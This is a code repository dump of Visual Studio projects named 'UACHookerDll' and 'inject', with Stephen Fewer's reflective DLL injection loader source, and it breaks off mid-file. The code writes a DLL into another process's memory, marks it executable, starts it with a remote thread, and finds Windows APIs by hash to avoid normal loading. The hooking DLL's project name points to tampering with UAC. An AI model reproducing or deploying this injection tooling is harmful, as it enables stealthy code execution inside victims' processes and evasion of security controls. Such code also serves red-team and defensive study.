18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}
24 | Win32Proj
25 | UACHookerDll
26 | 10.0.17134.0
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v141
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v141
39 | true
40 | Unicode
41 |
42 |
43 | DynamicLibrary
44 | true
45 | v141
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v141
52 | false
53 | MultiByte
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Use
88 | Level3
89 | Disabled
90 | true
91 | WIN32;_DEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Windows
96 | true
97 | detours.lib;%(AdditionalDependencies)
98 |
99 |
100 |
101 |
102 | Use
103 | Level3
104 | Disabled
105 | true
106 | _DEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
107 | true
108 |
109 |
110 | Windows
111 | true
112 |
113 |
114 |
115 |
116 | Use
117 | Level3
118 | MaxSpeed
119 | true
120 | true
121 | true
122 | WIN32;NDEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
123 | true
124 |
125 |
126 | Windows
127 | true
128 | true
129 | true
130 |
131 |
132 |
133 |
134 |
135 |
136 | Level3
137 | MaxSpeed
138 | true
139 | true
140 |
141 |
142 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
143 | false
144 | false
145 | OnlyExplicitInline
146 | Size
147 | MultiThreaded
148 | CompileAsCpp
149 | $(ProjectDir);$(SolutionDir)
150 |
151 |
152 | Windows
153 | true
154 | true
155 | true
156 | detours.lib;version.lib;%(AdditionalDependencies)
157 | $(OutDir)$(TargetName).lib
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
--------------------------------------------------------------------------------
/inject/inject.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Debug
10 | x64
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}
23 | inject
24 | Win32Proj
25 |
26 |
27 |
28 | Application
29 | v142
30 | MultiByte
31 | true
32 |
33 |
34 | Application
35 | v142
36 | Unicode
37 |
38 |
39 | Application
40 | v142
41 | MultiByte
42 | true
43 |
44 |
45 | Application
46 | v142
47 | Unicode
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | <_ProjectFileVersion>16.0.30712.155
67 |
68 |
69 | $(SolutionDir)$(Configuration)\
70 | $(Configuration)\
71 | true
72 | MinimumRecommendedRules.ruleset
73 |
74 |
75 | $(SolutionDir)$(Platform)\$(Configuration)\
76 | $(Platform)\$(Configuration)\
77 | true
78 | MinimumRecommendedRules.ruleset
79 |
80 |
81 | $(SolutionDir)$(Configuration)\
82 | $(Configuration)\
83 | false
84 | MinimumRecommendedRules.ruleset
85 |
86 |
87 | $(SolutionDir)$(Platform)\$(Configuration)\
88 | $(Platform)\$(Configuration)\
89 | false
90 | MinimumRecommendedRules.ruleset
91 |
92 |
93 |
94 | Disabled
95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
96 | true
97 | EnableFastChecks
98 | MultiThreadedDebugDLL
99 |
100 | Level3
101 | EditAndContinue
102 |
103 |
104 | true
105 | Console
106 | MachineX86
107 |
108 |
109 |
110 |
111 | X64
112 |
113 |
114 | Disabled
115 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
116 | true
117 | EnableFastChecks
118 | MultiThreadedDebugDLL
119 |
120 | Level3
121 | ProgramDatabase
122 |
123 |
124 | true
125 | Console
126 | MachineX64
127 | $(OutDir)$(TargetName)$(TargetExt)
128 |
129 |
130 |
131 |
132 | MaxSpeed
133 | true
134 | WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions)
135 | MultiThreaded
136 | true
137 |
138 | Level3
139 | ProgramDatabase
140 |
141 |
142 | true
143 | Console
144 | true
145 | true
146 | MachineX86
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 | X64
156 |
157 |
158 | MaxSpeed
159 | true
160 | WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions)
161 | MultiThreaded
162 | true
163 |
164 | Level3
165 | ProgramDatabase
166 |
167 |
168 | $(OutDir)$(TargetName)$(TargetExt)
169 | false
170 | Console
171 | true
172 | true
173 | MachineX64
174 | false
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
--------------------------------------------------------------------------------
/inject/src/LoadLibraryR.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "LoadLibraryR.h"
29 | #include
30 | //===============================================================================================//
31 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
32 | {
33 | WORD wIndex = 0;
34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL;
35 | PIMAGE_NT_HEADERS pNtHeaders = NULL;
36 |
37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
38 |
39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
40 |
41 | if( dwRva < pSectionHeader[0].PointerToRawData )
42 | return dwRva;
43 |
44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
45 | {
46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
48 | }
49 |
50 | return 0;
51 | }
52 | //===============================================================================================//
53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
54 | {
55 | UINT_PTR uiBaseAddress = 0;
56 | UINT_PTR uiExportDir = 0;
57 | UINT_PTR uiNameArray = 0;
58 | UINT_PTR uiAddressArray = 0;
59 | UINT_PTR uiNameOrdinals = 0;
60 | DWORD dwCounter = 0;
61 | #ifdef WIN_X64
62 | DWORD dwCompiledArch = 2;
63 | #else
64 | // This will catch Win32 and WinRT.
65 | DWORD dwCompiledArch = 1;
66 | #endif
67 |
68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
69 |
70 | // get the File Offset of the modules NT Header
71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
72 |
73 | // currenlty we can only process a PE file which is the same type as the one this fuction has
74 | // been compiled as, due to various offset in the PE structures being defined at compile time.
75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
76 | {
77 | if( dwCompiledArch != 1 )
78 | return 0;
79 | }
80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
81 | {
82 | if( dwCompiledArch != 2 )
83 | return 0;
84 | }
85 | else
86 | {
87 | return 0;
88 | }
89 |
90 | // uiNameArray = the address of the modules export directory entry
91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
92 |
93 | // get the File Offset of the export directory
94 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
95 |
96 | // get the File Offset for the array of name pointers
97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
98 |
99 | // get the File Offset for the array of addresses
100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
101 |
102 | // get the File Offset for the array of name ordinals
103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
104 |
105 | // get a counter for the number of exported functions...
106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
107 |
108 | // loop through all the exported functions to find the ReflectiveLoader
109 | while( dwCounter-- )
110 | {
111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
112 |
113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
114 | {
115 | // get the File Offset for the array of addresses
116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
117 |
118 | // use the functions name ordinal as an index into the array of name pointers
119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
120 |
121 | // return the File Offset to the ReflectiveLoader() functions code...
122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
123 | }
124 | // get the next exported function name
125 | uiNameArray += sizeof(DWORD);
126 |
127 | // get the next exported function name ordinal
128 | uiNameOrdinals += sizeof(WORD);
129 | }
130 |
131 | return 0;
132 | }
133 | //===============================================================================================//
134 | // Loads a DLL image from memory via its exported ReflectiveLoader function
135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
136 | {
137 | HMODULE hResult = NULL;
138 | DWORD dwReflectiveLoaderOffset = 0;
139 | DWORD dwOldProtect1 = 0;
140 | DWORD dwOldProtect2 = 0;
141 | REFLECTIVELOADER pReflectiveLoader = NULL;
142 | DLLMAIN pDllMain = NULL;
143 |
144 | if( lpBuffer == NULL || dwLength == 0 )
145 | return NULL;
146 |
147 | __try
148 | {
149 | // check if the library has a ReflectiveLoader...
150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
151 | if( dwReflectiveLoaderOffset != 0 )
152 | {
153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
154 |
155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
158 | {
159 | // call the librarys ReflectiveLoader...
160 | pDllMain = (DLLMAIN)pReflectiveLoader();
161 | if( pDllMain != NULL )
162 | {
163 | // call the loaded librarys DllMain to get its HMODULE
164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
165 | hResult = NULL;
166 | }
167 | // revert to the previous protection flags...
168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
169 | }
170 | }
171 | }
172 | __except( EXCEPTION_EXECUTE_HANDLER )
173 | {
174 | hResult = NULL;
175 | }
176 |
177 | return hResult;
178 | }
179 | //===============================================================================================//
180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
182 | // defined in order to use the correct RDI prototypes.
183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the
187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
189 | {
190 | BOOL bSuccess = FALSE;
191 | LPVOID lpRemoteLibraryBuffer = NULL;
192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
193 | HANDLE hThread = NULL;
194 | DWORD dwReflectiveLoaderOffset = 0;
195 | DWORD dwThreadId = 0;
196 |
197 | __try
198 | {
199 | do
200 | {
201 | if( !hProcess || !lpBuffer || !dwLength )
202 | break;
203 |
204 | // check if the library has a ReflectiveLoader...
205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
206 | if( !dwReflectiveLoaderOffset )
207 | break;
208 |
209 | // alloc memory (RWX) in the host process for the image...
210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
211 | if( !lpRemoteLibraryBuffer )
212 | break;
213 |
214 | // write the image into the host process...
215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
216 | break;
217 |
218 | // add the offset to ReflectiveLoader() to the remote library address...
219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
220 |
221 | // create a remote thread in the host process to call the ReflectiveLoader!
222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
223 |
224 | } while( 0 );
225 |
226 | }
227 | __except( EXCEPTION_EXECUTE_HANDLER )
228 | {
229 | hThread = NULL;
230 | }
231 |
232 | return hThread;
233 | }
234 | //===============================================================================================//
235 |
--------------------------------------------------------------------------------
/UACHookerDll/ReflectiveLoader.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "ReflectiveLoader.h"
29 | //===============================================================================================//
30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31 | HINSTANCE hAppInstance = NULL;
32 | //===============================================================================================//
33 | #pragma intrinsic( _ReturnAddress )
34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37 | // available (and no inline asm available under x64).
38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
39 | //===============================================================================================//
40 |
41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
42 | // otherwise the DllMain at the end of this file will be used.
43 |
44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub.
46 |
47 | // This is our position independent reflective DLL loader/injector
48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
50 | #else
51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
52 | #endif
53 | {
54 |
55 | // the functions we need
56 | LOADLIBRARYA pLoadLibraryA = NULL;
57 | GETPROCADDRESS pGetProcAddress = NULL;
58 | VIRTUALALLOC pVirtualAlloc = NULL;
59 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
60 |
61 | USHORT usCounter;
62 |
63 | // the initial location of this image in memory
64 | ULONG_PTR uiLibraryAddress;
65 | // the kernels base address and later this images newly loaded base address
66 | ULONG_PTR uiBaseAddress;
67 |
68 | // variables for processing the kernels export table
69 | ULONG_PTR uiAddressArray;
70 | ULONG_PTR uiNameArray;
71 | ULONG_PTR uiExportDir;
72 | ULONG_PTR uiNameOrdinals;
73 | DWORD dwHashValue;
74 |
75 | // variables for loading this image
76 | ULONG_PTR uiHeaderValue;
77 | ULONG_PTR uiValueA;
78 | ULONG_PTR uiValueB;
79 | ULONG_PTR uiValueC;
80 | ULONG_PTR uiValueD;
81 | ULONG_PTR uiValueE;
82 |
83 | // STEP 0: calculate our images current base address
84 |
85 | // we will start searching backwards from our callers return address.
86 | uiLibraryAddress = caller();
87 |
88 | // loop through memory backwards searching for our images base address
89 | // we dont need SEH style search as we shouldnt generate any access violations with this
90 | while (TRUE)
91 | {
92 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
93 | {
94 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
95 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
96 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
97 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
98 | {
99 | uiHeaderValue += uiLibraryAddress;
100 | // break if we have found a valid MZ/PE header
101 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
102 | break;
103 | }
104 | }
105 | uiLibraryAddress--;
106 | }
107 |
108 | lpParameter = (LPVOID) * ((PULONG_PTR)((LPBYTE)uiLibraryAddress + 2));
109 |
110 | // STEP 1: process the kernels exports for the functions our loader needs...
111 |
112 | // get the Process Enviroment Block
113 | #ifdef WIN_X64
114 | uiBaseAddress = __readgsqword(0x60);
115 | #else
116 | #ifdef WIN_X86
117 | uiBaseAddress = __readfsdword(0x30);
118 | #else WIN_ARM
119 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
120 | #endif
121 | #endif
122 |
123 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
124 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
125 |
126 | // get the first entry of the InMemoryOrder module list
127 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
128 | while (uiValueA)
129 | {
130 | // get pointer to current modules name (unicode string)
131 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
132 | // set bCounter to the length for the loop
133 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
134 | // clear uiValueC which will store the hash of the module name
135 | uiValueC = 0;
136 |
137 | // compute the hash of the module name...
138 | do
139 | {
140 | uiValueC = ror((DWORD)uiValueC);
141 | // normalize to uppercase if the madule name is in lowercase
142 | if (*((BYTE*)uiValueB) >= 'a')
143 | uiValueC += *((BYTE*)uiValueB) - 0x20;
144 | else
145 | uiValueC += *((BYTE*)uiValueB);
146 | uiValueB++;
147 | } while (--usCounter);
148 |
149 | // compare the hash with that of kernel32.dll
150 | if ((DWORD)uiValueC == KERNEL32DLL_HASH)
151 | {
152 | // get this modules base address
153 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
154 |
155 | // get the VA of the modules NT Header
156 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
157 |
158 | // uiNameArray = the address of the modules export directory entry
159 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
160 |
161 | // get the VA of the export directory
162 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
163 |
164 | // get the VA for the array of name pointers
165 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
166 |
167 | // get the VA for the array of name ordinals
168 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
169 |
170 | usCounter = 3;
171 |
172 | // loop while we still have imports to find
173 | while (usCounter > 0)
174 | {
175 | // compute the hash values for this function name
176 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
177 |
178 | // if we have found a function we want we get its virtual address
179 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
180 | {
181 | // get the VA for the array of addresses
182 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
183 |
184 | // use this functions name ordinal as an index into the array of name pointers
185 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
186 |
187 | // store this functions VA
188 | if (dwHashValue == LOADLIBRARYA_HASH)
189 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
190 | else if (dwHashValue == GETPROCADDRESS_HASH)
191 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
192 | else if (dwHashValue == VIRTUALALLOC_HASH)
193 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
194 |
195 | // decrement our counter
196 | usCounter--;
197 | }
198 |
199 | // get the next exported function name
200 | uiNameArray += sizeof(DWORD);
201 |
202 | // get the next exported function name ordinal
203 | uiNameOrdinals += sizeof(WORD);
204 | }
205 | }
206 | else if ((DWORD)uiValueC == NTDLLDLL_HASH)
207 | {
208 | // get this modules base address
209 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
210 |
211 | // get the VA of the modules NT Header
212 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
213 |
214 | // uiNameArray = the address of the modules export directory entry
215 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
216 |
217 | // get the VA of the export directory
218 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
219 |
220 | // get the VA for the array of name pointers
221 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
222 |
223 | // get the VA for the array of name ordinals
224 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
225 |
226 | usCounter = 1;
227 |
228 | // loop while we still have imports to find
229 | while (usCounter > 0)
230 | {
231 | // compute the hash values for this function name
232 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
233 |
234 | // if we have found a function we want we get its virtual address
235 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
236 | {
237 | // get the VA for the array of addresses
238 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
239 |
240 | // use this functions name ordinal as an index into the array of name pointers
241 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
242 |
243 | // store this functions VA
244 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
245 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
246 |
247 | // decrement our counter
248 | usCounter--;
249 | }
250 |
251 | // get the next exported function name
252 | uiNameArray += sizeof(DWORD);
253 |
254 | // get the next exported function name ordinal
255 | uiNameOrdinals += sizeof(WORD);
256 | }
257 | }
258 |
259 | // we stop searching when we have found everything we need.
260 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
261 | break;
262 |
263 | // get the next entry
264 | uiValueA = DEREF(uiValueA);
265 | }
266 |
267 | // STEP 2: load our image into a new permanent location in memory...
268 |
269 | // get the VA of the NT Header for the PE to be loaded
270 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
271 |
272 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
273 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
274 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
275 |
276 | // we must now copy over the headers
277 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
278 | uiValueB = uiLibraryAddress;
279 | uiValueC = uiBaseAddress;
280 |
281 | while (uiValueA--)
282 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
283 |
284 | // STEP 3: load in all of our sections...
285 |
286 | // uiValueA = the VA of the first section
287 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
288 |
289 | // itterate through all sections, loading them into memory.
290 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
291 | while (uiValueE--)
292 | {
293 | // uiValueB is the VA for this section
294 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
295 |
296 | // uiValueC if the VA for this sections data
